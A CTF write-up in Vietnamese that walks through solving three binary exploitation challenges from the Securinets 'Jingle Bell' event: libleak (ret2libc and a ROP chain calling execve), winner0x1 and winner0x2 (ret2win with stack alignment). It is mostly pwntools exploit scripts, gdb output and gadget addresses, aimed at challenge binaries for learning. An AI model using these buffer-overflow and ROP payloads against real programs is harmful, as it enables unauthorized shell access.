# (writeup) securinets Jingle Bell ## Libleak - Ở bài này, người lập trình gửi cho ta một file zip có tên là **togive.zip** - Ta có một công cụ giải nén file có tên đuôi .zip là lệnh > unzip <filename.zip> - Sau khi ta giải nén file tác giả cho, ta nhận được 3 file khác nhau lần lượt là **libc.so.6** , **libleak** , **ld-linux-x86-64.so.2** - Dễ nhận thấy là file mình cần khai thác là file **libleak** (vì tên đề bài trùng tên vs tên file ^^ ) - Các file còn lại là công cụ hỗ trợ ta tìm ra flag - Ta kiểm tra định dạng file bằng cú pháp > file \<libleak> - Ta thực thi file **libleak** để xem nội dung bên trong, thì ta nhận được : ``` Hum... Where is the win function?? Can you get the flag without a win function? How about I give you another gift ;) ? 0x7fb4c94605e0 Give me something useful: ``` - Hmmm, một địa chỉ ??? - Thôi thì ta cứ sử dụng ida64 để sơ lược qua file **libleak** ![](https://i.imgur.com/Mz8njaR.png) - Ở đây ta dễ nhìn thấy 1 lỗi Buffer Overflow là ở biến *v4*, ta nhận 80 byte nhưng bên dòng code, ta thấy hàm **gets(v4)** (hàm **gets** là nhận vô hạn ký tự và kết thúc bằng byte /0, tức là Enter) - Và điều gì đến sẽ đến, ta tìm offset thui - Ta sẽ đặt breakpoint ở hàm **ret** - Để tìm offset, ta sẽ khởi tạo chuỗi tầm 150 byte > pattern create 150 ``` gef➤ pattern create 150 [+] Generating a pattern of 150 bytes (n=8) aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa [+] Saved as '$_gef0 ``` - Copy chuỗi đó, tiếp tục chương trình đến khi gặp lệnh **call** của hàm **gets** và pasted dô - Đến khi kết thúc thì đã **saved rip** và chỉ cần tìm offset bằng cú pháp: >pattern search $rsp ![](https://i.imgur.com/yx4akUD.png) - Theo thói quen, khi tạo shell thì ta cần đến argument 1 là thanh ghi **rdi** - Ta sẽ sử dụng kỹ thuật ROPchain để tìm địa chỉ thanh ghi **$rdi** >ROPgadget --binary libleak | grep "pop rdi" ![](https://i.imgur.com/0jQa88h.png) - Ta sẽ DEBUG động để xem script mình hoạt động ra sao - Vì địa chỉ đề cho là của libc nên ta có thể leak địa chỉ của hàm system - Lúc này ở địa chỉ **$rdi** chưa về 0, ta sẽ ghi đè về 0 và pasted địa chỉ của hàm puts ( do hàm puts không yêu cầu nhiều về argument nên chọn nó cho dễ - Đơn giản vì đề cho file dạng libc nên ta sẽ giải theo hướng ret2libc - Ta nhận địa chỉ đề cho và cần biết 2 điều, *libc_leak* và *lib_base* - Thì *lib_leak* chính là đề in ra cho mình và *libc_base* mình phải cần tìm - Nên để lấy *libc_leak*, ta sẽ sử dụng lệnh ***p.recvline()*** để lấy dòng được in qua, nhưng cần lặp lại lệnh đó để skip qua 2 dòng này: >Hum… Where is the win function?? Can you get the flag without a win function? How about I give you another gift ;) ? - Script: ```python #!usr/bin/python3 from pwn import * exe = ELF("./libleak", checksec=False) libc = ELF("./libc.so.6", checksec=False) p = process(exe.path) #p = remote("<host>", <port>) pop_rdi = 0x0000000000401313 #input() payload = b'A'*88 payload += p64(pop_rdi) +p64(0) payload += p64(pop_rdi) + p64(exe.got['puts']) payload += p64(exe.plt['puts']) payload += p64(exe.sym['main']) p.sendlineafter(b'useful: ', payload) p.recvline() p.recvline() p.recvline() libc_leak = int(p.recvline()[:-1],16) p.interactive() ``` - Có thể bạn thắc mắc [:-1] là gì (●'◡'●) - Ban đầu mình cũng thắc mắc ấy, nhưng mà cái đó là phép xử lí chuỗi, mình sài nhiều sẽ nhớ thành quen thuộc thôi, còn về con số 16 là đổi về hệ 16 thui - Bây giờ tới *libc_base* nè: **base** + **offset** = **leak** **base** = **leak** - **offset** - Leak mình có ùi đó, bây giờ tìm offset nữa là xong - Nôm na đơn giản offset chính là độ dời, độ dời thì sẽ không thay đổi được, thì mình cần tìm độ dời từ thằng địa chỉ nhỏ nhất đến thằng leak - Và.... địa chỉ nhỏ nhất mình tìm trong file bằng công cụ **gdb**, lệnh **vmmap** ![](https://i.imgur.com/J4E2JwX.png) - Ở đây mình sẽ dò theo đuôi file libc.so.6 nha, và ngay địa chỉ 0x007fa3a777f000 sẽ là nhỏ nhất - Ta chỉ cần lấy địa chỉ leak trừ cho địa chỉ *base*, ta được >959968 - Và phép biến đổi cơ bản đưa số đó về hệ hex: >hex(959968) >0xea5e0 - Sau đó ta chỉ việc in ra màn hình *leak* và *base* để dễ theo dõi: >log.info() - Quên nữa, ta chưa sử dụng **libc.so.6** của tác giả cho 🤦‍♂️ - Và mình sẽ xài 1 tool gọi là **pwninit** - Lưu ý khi sài tool **pwninit** là file libc và file binary phải ở chung cùng 1 thư mục - Sau khi đã patch xong, ta sẽ nhận được file mới với tên đầu là file cũ và tên đuôi là *_patched* - Lúc này mình sẽ sửa script lại: ```python #!usr/bin/python3 from pwn import * exe = ELF("./libleak_patched", checksec=False) libc = ELF("./libc.so.6", checksec=False) p = process(exe.path) #p = remote("<host>", <port>) pop_rdi = 0x0000000000401313 #input() payload = b'A'*88 payload += p64(pop_rdi) +p64(0) payload += p64(pop_rdi) + p64(exe.got['puts']) payload += p64(exe.plt['puts']) payload += p64(exe.sym['main']) p.sendlineafter(b'useful: ', payload) p.recvline() p.recvline() p.recvline() libc_leak = int(p.recvline()[:-1],16) libc.address = libc_leak - 0xea5e0 log.info("libc leak: " + hex(libc_leak)) log.info("libc base: " + hex(libc.address)) p.interactive() ``` - Vậy ta đã leak được địa chỉ libc.... - Bên trên ta đã p64 hàm **main**, tức là mình phải thực thi 1 lần nữa, vì vậy ta copy 2 dòng payload đầu tiên để lấp đầy biến như cũ, rdi về 0 - Để tạo shell thì arg1 của **$rdi** phải là chuỗi *"/bin/sh"* - Nên là: >p64(next(libc.search(b'/bin/sh'))) - Cuối cùng là hàm **system**: >p64(libc.sym['system']) - Chỉnh sửa lại script thì ta có: ```python #!usr/bin/python3 from pwn import * exe = ELF("./libleak_patched", checksec=False) libc = ELF("./libc.so.6", checksec=False) p = process(exe.path) #p = remote("<host>", <port>) pop_rdi = 0x0000000000401313 #input() payload = b'A'*88 payload += p64(pop_rdi) +p64(0) payload += p64(pop_rdi) + p64(exe.got['puts']) payload += p64(exe.plt['puts']) payload += p64(exe.sym['main']) p.sendlineafter(b'useful: ', payload) p.recvline() p.recvline() p.recvline() libc_leak = int(p.recvline()[:-1],16) libc.address = libc_leak - 0xea5e0 log.info("libc leak: " + hex(libc_leak)) log.info("libc base: " + hex(libc.address)) payload = b'A'*88 payload += p64(pop_rdi) + p64(0) payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) payload += p64(libc.sym['system']) p.interactive() ``` - Lúc này ta DEBUG động để kiểm tra.. - Lưu ý nho nhỏ là ta phải **gdb libleak_patched** nha, chớ **gdb libleak** là sẽ bị hụt 1 số symbol, và đặt **input()** ở đoạn payload thứ 2 - Sau khi ta DEBUG động thì ta bị crashed ngay hàm của thanh ghi xmm1 - Lỗi này phổ biến, là do địa chỉ của $rsp không chia hết cho 16, nên ta có thể fix 1 trong 3 cách sau: _ sử dụng **ret** _ sử dụng **pop** _ sử dụng **add rsp, 8** - Đơn giản nhất thì mình sài **ret** nha 😎 - Mình cần ghi đè **ret** trước hàm system, thì **ret** mình có thể tìm bằng phương pháp ROPchain: >ROPgadget --binary libleak | grep "ret" - Vậy thì script hoàn chỉnh là: ```python #!/usr/bin/python3 from pwn import * exe = ELF("./libleak_patched", checksec=False) libc = ELF("./libc.so.6",checksec=False) p = process(exe.path) #p = remote("<host>",<port>) pop_rdi = 0x0000000000401313 ret = 0x00000000004012a9 #input() payload = b'A'*88 payload += p64(pop_rdi) + p64(0) payload += p64(pop_rdi) + p64(exe.got['puts']) payload += p64(exe.plt['puts']) payload += p64(exe.sym['main']) p.sendlineafter(b'useful: ', payload) p.recvline() p.recvline() p.recvline() libc_leak = int(p.recvline()[:-1],16) libc.address = libc_leak - 0xea5e0 log.info("libc leak: " + hex(libc_leak)) log.info("libc base: " + hex(libc.address)) #input() payload = b'A'*88 payload += p64(pop_rdi) + p64(0) payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) payload += p64(ret) payload += p64(libc.sym['system']) p.sendlineafter(b'useful: ', payload) p.interactive() ``` - Rồi thử tạo shell hoi, ổn r thì lấy **host** và **port** từ trang cuộc thi và pasted dô (nhớ tắt process và mở remote) --- ## Winner0x1 - Winner0x1??? - Có lẽ nào.... - Ret2win? 😎 - Haizz, phãi ida64 thuii ![](https://i.imgur.com/fFPSXC6.png) - Waooo, dễ dàng thấy được đây là 1 lỗi BufferOverflow - Biến *v4* thiết lập 128 byte và hàm **gets**.... > Có thể bạn chưa biết > Hàm gets nhận vô hạn ký tự và dừng nhận tiếp nếu có byte /0, tức là byte **Enter** từ bàn phím - Ngó ngía sang bảng Function, ái chà chà... - Hàm **win** kế bên hàm **main** --> Chắc nịch là dạng Ret2win rùi - Nhìn trộm hàm **win** lun cho nóng ![](https://i.imgur.com/DX8svB7.png) - Việc đầu tiên, ta cứ tìm offset - Mở terminal và cd đến thư mục chứa file mình cần thao tác, rồi ta gdb thui - Vẫn đặt breakpoint ở hàm truyền giá trị **gets** từ **disas main** - Kế đến ta tạo chuỗi nhập vão cỡ 150 byte > pattern create 150 ``` gef➤ pattern create 150 [+] Generating a pattern of 150 bytes (n=8) aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa [+] Saved as '$_gef0' ``` - Ta **ni** đến hàm **call** của **gets** - Nhập vào chuỗi 150 byte đó và tiếp tục **ni** đến kết thúc chương trình - Tới đây ta tìm offset bằng lệnh > pattern search $rsp ![](https://i.imgur.com/psVvFDa.png) - Mặc định ta cứ viết script trước đi, rồi từ từ tính 😉 - Tạo terminal mới rồi cd vào thư mục đó lun > subl solve.py ```python #!/usr/bin/python3 from pwn import * exe = ELF("./winner1",checksec=False) p = process("./winner1") #p = remote ("<host>", <port>) #input() payload = b'A'*136 p.sendlineafter(b'input: ' , payload) p.interactive() ``` - Lưu ý nho nhỏ là hàm **gets** ta phải viết là *sendlineafter* nha vì **gets** chỉ kết thúc nhận chuỗi nếu ta xuống dòng 'Enter' - Về phương pháp Ret2win, sau khi ta ghi đè full 136 byte, ta phãi tiếp tục dẫn cái payload tới hàm **win** > p64(exe.sym['win']) - Và script sẽ như sau: ```python #!/usr/bin/python3 from pwn import * exe = ELF("./winner1",checksec=False) p = process("./winner1") #p = remote ("<host>", <port>) #input() payload = b'A'*136 payload += p64(exe.sym['win']) p.sendlineafter(b'input: ' , payload) p.interactive() ``` - Bây giờ làm gì tiếp nữa, DEBUG động chứ gì nữa ^^ - Ê khoan, ta bị crashed 😢 - Lúc này ta thấy hàm bị dừng lại ngay dòng chứa thanh ghi xmm1: ![](https://i.imgur.com/UEUivxO.png) - Lỗi này là do địa chỉ **$rsp** nó bị lẻ, tức là không chia hết cho 16 (hệ hex) - Ở đây ta sẽ giải quyết bằng cách DEBUG động một lần nữa nhưng breakpoint ở hàm **ret** để xem thanh ghi nó thay đổi như thế nào ![](https://i.imgur.com/HhjHj8V.png) - Ta thấy đã nhảy vào hàm **win** coi như đã thoã mãn yêu cầu nhưng hãy chú ý tới địa chỉ **$rsp** sẽ thay đổi khi ta **ni** qua lệnh **push** ![](https://i.imgur.com/kiUUbEY.png) - Thanh ghi đang ở 0x007ffd9a8bf9b0 ![](https://i.imgur.com/Vfd2d54.png) - Tới đây đã biến thành 0x007ffd9a8bf9a8 - Hehe, ta có thể kiểm tra bằng cách sử dụng framework của python - Mở terminal khác lên và và **cd** vào thư mục cũ > python3 ``` hlaan@ubuntu:~/Downloads/sec$ python3 Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> 0x007ffd9a8bf9b0 / 16 8795449769883.0 >>> 0x007ffd9a8bf9a8 / 16 8795449769882.5 >>> ``` - Uầy, quá rõ rùi, '.0' tức là chia hết 16 và '.5' là bị lẻ - Ta cần phãi làm sao? - Phãi làm sao phãi làm sao... - Skip qua lệnh **push** hoi (●'◡'●) - Đơn giản vì lệnh **push** khiến địa chỉ **$rsp** nó bị lẻ thì mình bơ nó thoi - Ta thấy sau lệnh **push** là ở hàm **win+5** thì bên script ta chỉnh lại: > exe.sym['win'] + 5 - Thế thì script hoàn chỉnh cuối cùng là ```python #!/usr/bin/python3 from pwn import * exe = ELF("./winner1",checksec=False) p = process("./winner1") #p = remote ("<host>", <port>) #input() payload = b'A'*136 payload += p64(exe.sym['win'] + 5) p.sendlineafter(b'input: ' , payload) p.interactive() ``` - Và rồi thực thi lun cho nóng... - Hmmm - Wat háp pèn - OHHH, ta đã bỏ sót 1 thứ trong hàm **win** trên ida64 - Nó sẽ mở và đọc 1 văn bản text tên là *flag.txt* - Vậy thì ta tạo *flag.txt* và abcxyz viết vào nó ``` Securinets{g00d!!_y0u_r3m3mb3r_ret2win} ``` - Submit đi chứ cần chờ gì nũa --- ## Winner0x2 - Winner0x2??? - Có lẽ nào.... - Ret2win? 😎 - Haizz, phãi ida64 thuii ![](https://i.imgur.com/uQWG7r1.png) - Waooo, dễ dàng thấy được đây là 1 lỗi BufferOverflow - Biến *v4* thiết lập 112 byte và hàm gets.... > Có thể bạn chưa biết > Hàm gets nhận vô hạn ký tự và dừng nhận tiếp nếu có byte /n, tức là byte **Enter** từ bàn phím - Ngó ngía sang bảng Function, ái chà chà... - Hàm **win** kế bên hàm **main** --> Chắc nịch là dạng Ret2win rùi - Nhìn trộm hàm **win** lun cho ![](https://i.imgur.com/zWKNiKF.png) - Việc đầu tiên, ta cứ tìm offset - Mở terminal và cd đến thư mục chứa file mình cần thao tác, rồi ta gdb thui - Vẫn đặt breakpoint ở hàm truyền giá trị **gets** từ **disas main** - Kế đến ta tạo chuỗi nhập vão cỡ 150 byte > pattern create 150 ``` gef➤ pattern create 150 [+] Generating a pattern of 150 bytes (n=8) aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa [+] Saved as '$_gef0' ``` - Ta **ni** đến hàm **call** của **gets** - Nhập vào chuỗi 150 byte đó và tiếp tục **ni** đến kết thúc chương trình - Tới đây ta tìm offset bằng lệnh > pattern search $rsp ![](https://i.imgur.com/aeXej6a.png) - Lưu ý nho nhỏ là hàm **gets** ta phải viết là *sendlineafter* nha vì **gets** chỉ kết thúc nhận chuỗi nếu ta xuống dòng 'Enter' - Về phương pháp Ret2win, sau khi ta ghi đè full 136 byte, ta phãi tiếp tục dẫn cái payload tới hàm **win** > p64(exe.sym['win']) - Và script sẽ như sau: ```python #!/usr/bin/python3 from pwn import * exe = ELF("./winner2", checksec=False) p = process('./winner2') #p = remote("<host>",<port>) #input() payload = b'A'*120 payload += p64(exe.sym['win']) p.sendlineafter(b'input: ', payload) p.interactive() ``` - Ê khoan, ta bị crashed 😢 - Ta đặt breakpoint ở hàm **ret** xem lại ![](https://i.imgur.com/hhv10Ie.png) - Lúc này ta thấy đã nhảy vào hàm **win** coi như đã thoã mãn yêu cầu nhưng hãy chú ý tới địa chỉ **$rsp** sẽ thay đổi khi ta **ni** qua lệnh **push** ![](https://i.imgur.com/ItAqEms.png) - Thanh ghi đang ở 0x007fff48ae7000 ![](https://i.imgur.com/jT5nrIO.png) - Tới đây đã biến thành 0x007ffd9a8bf9a8 - Hehe, ta có thể kiểm tra bằng cách sử dụng framework của python - Mở terminal khác lên và và **cd** vào thư mục cũ > python3 ``` hlaan@ubuntu:~/Downloads/sec$ python3 Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> 0x007fff48ae7000 / 16 8795900798720.0 >>> 0x007ffd9a8bf9a8 / 16 8795449769882.5 >>> ``` - Uầy, quá rõ rùi, '.0' tức là chia hết 16 và '.5' là bị lẻ - Ta cần phãi làm sao? - Phãi làm sao phãi làm sao... - Skip qua lệnh **push** hoi (●'◡'●) - Đơn giản vì lệnh **push** khiến địa chỉ **$rsp** nó bị lẻ thì mình bơ nó thoi - Ta thấy sau lệnh **push** là ở hàm **win+5** thì bên script ta chỉnh lại: > exe.sym['win'] + 5 - Thế thì script sẽ là: ```python #!/usr/bin/python3 from pwn import * exe = ELF("./winner2", checksec=False) p = process('./winner2') #p = remote("<host>",<port>) #input() payload = b'A'*120 payload += p64(exe.sym['win']+5) p.sendlineafter(b'input: ', payload) p.interactive() ``` - Để cho chắc thì ta DEBUG động một lần nữa... ![](https://i.imgur.com/JYmdYZY.png) - Uầy, sao lại trở về hàm **main** vậy nhỉ - Chắc chắn trong quá trình **ni**, hàm nào đó không tiếp tục được nên nó trở về **main** - Phãi check ida64 lần nữa ![](https://i.imgur.com/zWKNiKF.png) - If ????? - Ròi xong lòi * chiến sĩ - Ta quên làm cho **if** thoả mãn - Vậy thì ta thấy **if** của *a2*, thế *a2* là cái mô? - *a2* là argument 2 nha - Argument 2 là của stack **$rsi** - Tương tự thì *a1* là của $rdi , *a3* là của $rdx - Trong kỹ thuật này, 4 thanh ghi cần lưu ý là **rdi**, **rsi**, **rdx** và **rax** - **win** chỉ yêu cầu *a2* thôi thì mình tới công chiện với **$rsi** - Mình sẽ xài tool ROPchain > ROPgadget --binary winner2 | grep "pop rdi" ![](https://i.imgur.com/UaM5u4M.png) - **rsi** trước khi đụng tới hàm **ret** thì nó còn bước qua xác của **r15**, ta nên cẩn thận ở đây 1 xíu - Ta cần ghi đè điều kiện **if** vào *a2* thì ta cứ > p64(-160256510, sign=True) - Cái *sign=True* là phép xử lí số âm, vì mặc định p64 là kiểu unsigned, p64 hay u64 gì cũng unsigned hết nên nếu muốn chuyển số âm thì phải thêm sign=True để nó biết ```python #!/usr/bin/python3 from pwn import * exe = ELF("./winner2", checksec=False) p = process('./winner2') #p = remote("<host>",<port>) pop_rsi = 0x0000000000401371 #input() payload = b'A'*120 payload += p64(pop_rsi) + p64(-160256510, sign=True) payload += p64(exe.sym['win']+5) p.sendlineafter(b'input: ', payload) p.interactive() ``` - Vẫn cứ DEBUG động 1 lần nữa nha - Khum ổn ![](https://i.imgur.com/j4NiVMz.png) - Vậy có nghĩa là sau khi ta ghi đè số *-160256510* vào **$rsi** thì chương trình lại tiếp tục muốn ta ghi đè thêm **r15** - Nếu ta **ni** tiếp tục thì sẽ bị EOF ![](https://i.imgur.com/QObsN0Z.png) - Vậy **r15** ta xử lí làm sao? - Kệ, cứ ghi đè khứa **r15** cho số *0* đi, kkkkkkk ```python #!/usr/bin/python3 from pwn import * exe = ELF("./winner2", checksec=False) p = process('./winner2') #p = remote("<host>",<port>) pop_rsi = 0x0000000000401371 #input() payload = b'A'*120 payload += p64(pop_rsi) + p64(-160256510, sign=True) + p64(0) payload += p64(exe.sym['win']+5) p.sendlineafter(b'input: ', payload) p.interactive() ``` - Lại lần nữa nè ![](https://i.imgur.com/0KWAsTd.png) - Okeee, qua được ải **r15** rồi, nhưng.... - Cảm giác địa chỉ **$rsp** nó không chia hết 16 ``` hlaan@ubuntu:~/Downloads/sec$ python3 Python 3.10.6 (main, Nov 14 2022, 16:10:14) [GCC 11.3.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> 0x007ffe028cb6d8 / 16 8795558824813.5 >>> ``` - Ui giời khổ voãi, nghĩa là skip **push** khiến cho nó bị lẻ 🤦‍♂️ - Vậy ta xoá số ***+5*** thôi ```python #!/usr/bin/python3 from pwn import * exe = ELF("./winner2", checksec=False) p = process('./winner2') #p = remote("<host>",<port>) pop_rdi = 0x0000000000401371 #input() payload = b'A'*120 payload += p64(pop_rsi) + p64(-160256510, sign=True) + p64(0) payload += p64(exe.sym['win']) p.sendlineafter(b'input: ', payload) p.interactive() ``` - DEBUG lần nữa lèo - Thấy không còn xuất hiện lỗi nữa thì... ``` Securinets{Y0u're_d01ng_g00d_k33p_1t_up!} ``` - Submit đi chứ chần chờ gì nữa --- ## Libleak but ROPchain method - So at first, we need to unzip the file which is given by the developer - Then we recived 3 files: **libc.so.6** , **libleak** , **ld-linux-x86-64.so.2** --- - First, we use ida64 to check the function inside file **libleak** ![](https://i.imgur.com/Mz8njaR.png) - Thôi lười viết tiếng anh quá, đơn giản ở đây ta thấy 1 lỗi Buffer Overflow =)))))) - Bỏ qua các bước dài dòng văn tự như wu của 'libleak but ret2libc method' 😉 - Thì trước mắt cứ tìm offset của **$rsp** rồi viết script ![](https://i.imgur.com/yx4akUD.png) - Như thường lệ, khi làm 1 bài mà có **libc**, ta đều phải leak được địa chỉ **base** - Thì **base** + **offset** = **leak** **base** = **leak** - **offset** - **leak** ta lấy từ đề bài, dùng hàm **int()** và ép kiểu về hệ **hex** > int( , 16) - Còn offset thì ta lấy ['sleep'] từ lệnh tìm kiếm trong libc chứ không từ exe nha > libc.sym['sleep'] ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF("./libleak", checksec=False) libc = ELF("./libc.so.6",checksec=False) p = process(exe.path) #p = remote("host",port) #input() #stage 1: leak p.recvline() p.recvline() libc_leak = int(p.recvline(),16) libc.address = libc_leak - libc.sym['sleep'] log.info("libc leak: " + hex(libc_leak)) log.info("libc base: " + hex(libc.address)) #stage 2: /bin/sh payload = b'A'*88 p.sendlineafter(b'Give me something useful: ', payload) p.interactive() ``` - Để tạo shell thì ta cần quan tâm tới 4 thanh ghi **rdi**, **rsi**, **rdx**, **rax** và 1 phần quan trọng khác nữa là lệnh **syscall** - Thì bước đầu ta cần biết địa chỉ của từng thanh ghi là động hay tĩnh bằng tool **checksec** ![](https://i.imgur.com/P3fscvD.png) - Ở đây mục **PIE** là dấu **X** đỏ, tức là địa chỉ tĩnh - Vậy thì ta tìm thử lệnh **syscall** có nằm trong file **libleak**, vì 4 thanh ghi trên hiển nhiên sẽ có ![](https://i.imgur.com/cX92F5R.png) - Tất nhiên là không có rùi =))))) - Thế thì ta tìm qua bên **libc.so.6** ![](https://i.imgur.com/cP0qSDE.png) - Tràn lan đại hải 🙄 - Nhưng điều ta cần chỉ khứa này thui ![](https://i.imgur.com/A8mtBC4.png) - Cái **syscall** đỏ chót và cô đơn ấy... - Ở đây ta có 2 cách xử lí - Cách 1: - Vì ta biết được file **libleak** đã là địa chỉ tĩnh (PIE đỏ) nên ta có thể xài pop của 4 thanh ghi thoải mái, nhưng **syscall** phải sài bên **libc.so.6** - Cách 2: - Ta sử dụng pop của 4 thanh ghi từ **libc.so.6** nhưng pop của nó là offset, do file **libc.so.6** là động (PIE xanh), nên offset không thể là 1 địa chỉ, ta cần lấy địa chỉ bằng cách lấy **base** cộng thêm cho **offset** - Vậy cứ chọn 1 trong 2 cách mà xơi hoi, kiếm đủ 4 thanh ghi trước rồi tới **syscall** ![](https://i.imgur.com/Yi0XNV2.png) - Lỏ qus =))))) - Thôi ta xài cách 2 :-D ![](https://i.imgur.com/aqRtfHm.png) >pop_rdi = libc.address + 0x000000000002a3e5 ![](https://i.imgur.com/8LqAQEP.png) >pop_rsi = libc.address + 0x000000000002be51 ![](https://i.imgur.com/v9wCXea.png) >pop_rdx_r12 = libc.address + 0x000000000011f497 ![](https://i.imgur.com/eip8DY7.png) >pop_rax = libc.address + 0x0000000000045eb0 ![](https://i.imgur.com/9KTesFe.png) >syscall = libc.address + 0x0000000000029db4 ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF("./libleak", checksec=False) libc = ELF("./libc.so.6",checksec=False) p = process(exe.path) #p = remote("host",port) #input() #stage 1: leak p.recvline() p.recvline() libc_leak = int(p.recvline(),16) libc.address = libc_leak - libc.sym['sleep'] log.info("libc leak: " + hex(libc_leak)) log.info("libc base: " + hex(libc.address)) #stage 2: /bin/sh pop_rdi = libc.address + 0x000000000002a3e5 pop_rsi = libc.address + 0x000000000002be51 pop_rdx_r12 = libc.address + 0x000000000011f497 pop_rax = libc.address + 0x0000000000045eb0 syscall = libc.address + 0x0000000000029db4 payload = b'A'*88 payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) payload += p64(pop_rsi) + p64(0) payload += p64(pop_rdx_r12) + p64(0) + p64(0) payload += p64(pop_rax) + p64(0x3b) payload += p64(syscall) p.sendlineafter(b'Give me something useful: ', payload) p.interactive() ``` - Điều ta cần khi tạo shell là thanh ghi **rdi** phải là con trỏ trỏ tới chuỗi */bin/sh* - Thanh ghi **rsi** và **rdx** như là arg2 và arg3 ta xét nó null - Ở đây thanh ghi **rdx** ta còn có thêm pop của **r12**, nên khi xét null, ta thêm 2 lần p64(0) ![](https://i.imgur.com/v9wCXea.png) > payload += p64(pop_rdx_r12) + p64(0) + p64(0) - Thanh ghi **rax** ta xét nó là ***0x3b*** theo lệnh **execve** - Và cuối cùng ta **syscall** - Vậy ta DEBUG thử, tắt ghi chú ở **input()**... ![](https://i.imgur.com/2AhHY08.png) - Oke, hàm đã nhảy vào **ret** với breakpoint như cũ, lúc này lệnh tiếp theo là **pop rdi** nè - Tiếp tục **ni**... ![](https://i.imgur.com/tjn6B0Y.png) - Lúc này chương trình báo ta đã tạo được shell là */bin/dash* - Ta kiểm tra lần nữa về trạng thái các thanh ghi ![](https://i.imgur.com/LPkWkYz.png) - **rax** là 0x3b chuẩn đét - **rdx** null - **rsi** null - **rdi** trỏ tới */bin/sh* ngon lành cành đào - Vậy ta chỉ cần quit gdb ra là tương tác shell được rùi >q ![](https://i.imgur.com/C1uEwUQ.png) ___ (túm cái váy lại thì kĩ thuật ROPchain thấy ngon ơ hơn ret2libc ^^)